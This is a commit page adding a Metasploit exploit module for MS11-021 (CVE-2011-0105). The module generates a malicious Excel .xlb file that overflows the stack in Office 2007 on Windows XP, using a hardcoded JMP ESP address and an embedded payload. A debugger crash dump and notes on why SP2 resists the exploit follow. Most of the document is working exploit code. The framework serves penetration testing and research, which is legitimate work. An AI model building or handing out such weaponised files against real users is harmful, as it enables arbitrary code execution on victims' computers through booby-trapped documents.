Add MS11-021 (#5917)
git-svn-id: file:///home/svn/framework3/trunk@14169 4d416f70-5f16-0410-b530-b9f4589650daunstable
Wei Chen
parent
aeaea65896
commit
1a2f60f4c0
|
|
@ -0,0 +1,127 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in Excel of Microsoft Office 2007.
|
||||
By supplying a malformed .xlb file, an attacker can control the content (source)
|
||||
of a memcpy routine, and the number of bytes to copy, therefore causing a stack-
|
||||
based buffer overflow. This results aribrary code execution under the context of
|
||||
user the user.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => "$Revision$",
|
||||
'Author' =>
|
||||
[
|
||||
'Aniway', #Initial discovery (via ZDI)
|
||||
'abysssec', #RCA, poc
|
||||
'sinn3r', #Metasploit
|
||||
'juan vazquez' #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2011-0105'],
|
||||
['MSB', 'MS11-021'],
|
||||
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-121/'],
|
||||
['URL', 'http://www.abysssec.com/blog/2011/11/02/microsoft-excel-2007-sp2-buffer-overwrite-vulnerability-ba-exploit-ms11-021/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "process",
|
||||
'DisablePayloadHandler' => 'true',
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# JMP ESP in EXCEL (Office 2007)
|
||||
# Win XP SP3 (Vista and 7 will try to repair the file)
|
||||
['Microsoft Office Excel 2007 on Windows XP', {'Ret' => 0x3006A48D }],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Aug 9 2011",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [true, 'The filename', 'msf.xlb'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-0105.xlb')
|
||||
f = File.open(path, 'rb')
|
||||
template = f.read
|
||||
f.close
|
||||
|
||||
p = payload.encoded
|
||||
|
||||
# Offset 1556
|
||||
record = ''
|
||||
record << "\xa7\x00" #record type
|
||||
record << "\x04\x00" #record length
|
||||
record << "\xb0\x0f\x0c\x00" #data
|
||||
|
||||
# Offset 1564
|
||||
continue_record = ''
|
||||
continue_record << "\x3c\x00" #record type
|
||||
continue_record << [p.length+32].pack('v') #length
|
||||
|
||||
buf = ''
|
||||
buf << template[0, 1556]
|
||||
buf << record
|
||||
buf << continue_record
|
||||
buf << rand_text_alpha(1)
|
||||
buf << [target.ret].pack('V*')
|
||||
buf << "\x00"*12
|
||||
buf << p
|
||||
buf << template[2336, template.length]
|
||||
|
||||
file_create(buf)
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
0:000> r
|
||||
eax=41414141 ebx=00000000 ecx=00000006 edx=008c1504 esi=0000007f edi=00000005
|
||||
eip=301a263d esp=00137ef8 ebp=00137f6c iopl=0 nv up ei pl nz na pe nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
|
||||
EXCEL!Ordinal40+0x1a263d:
|
||||
301a263d 8908 mov dword ptr [eax],ecx ds:0023:41414141=????????
|
||||
0:000> dc esp
|
||||
00137ef8 00000000 00000000 41414141 41414141 ........AAAAAAAA
|
||||
00137f08 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
|
||||
00137f18 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
|
||||
00137f28 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
|
||||
00137f38 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
|
||||
00137f48 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
|
||||
00137f58 41414141 41414141 41414141 00000000 AAAAAAAAAAAA....
|
||||
00137f68 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
|
||||
|
||||
On SP2, the stack overwrite begins way before the stack canary, which causes the exploit
|
||||
to fail when the stack cookie gets checked, and then exits. All loaded compnents are
|
||||
protected by SafeSEH, as well. See:
|
||||
http://dev.metasploit.com/redmine/issues/5917
|
||||
|
||||
=end
|
||||
Loading…
Reference in New Issue